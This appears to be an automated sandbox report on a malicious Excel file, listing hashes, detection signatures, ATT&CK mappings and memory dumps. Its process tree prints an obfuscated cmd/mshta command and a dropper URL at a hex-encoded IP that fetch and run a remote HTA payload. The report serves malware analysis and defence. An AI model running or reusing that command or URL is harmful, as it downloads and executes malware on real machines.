7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
167s
max time network
188s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-102.xls
Size

65KB
MD5

7a8813f9a0a2303446dbaf5b6f186f59
SHA1

323afa1077b943d126a88bc8b12afef29ecab403
SHA256

91ee58093bb04fb59a5ff5b9bbc57cb486ecd6d47097961aeddef63b4894660c
SHA512

15bf361b758660c0b072f03437e772e8d4b907832dec9d9bfc0e58cb6e8c796ff8524123f92f710c0624072885819aa446efa47b61b2f2a5231e9fc00e2a436a

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3180	1640	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

47 3484 mshta.exe

flow	pid	process
47	3484	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1640 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE
1640	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1640 wrote to memory of 3180	1640	EXCEL.EXE	cmd.exe
PID 1640 wrote to memory of 3180	1640	EXCEL.EXE	cmd.exe
PID 3180 wrote to memory of 3484	3180	cmd.exe	mshta.exe
PID 3180 wrote to memory of 3484	3180	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-102.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3180

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:3484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1640-115-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-116-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-117-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-128-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

Filesize
64KB

Download
memory/1640-129-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

Filesize
64KB

Download
memory/1640-313-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-314-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-315-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/1640-316-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download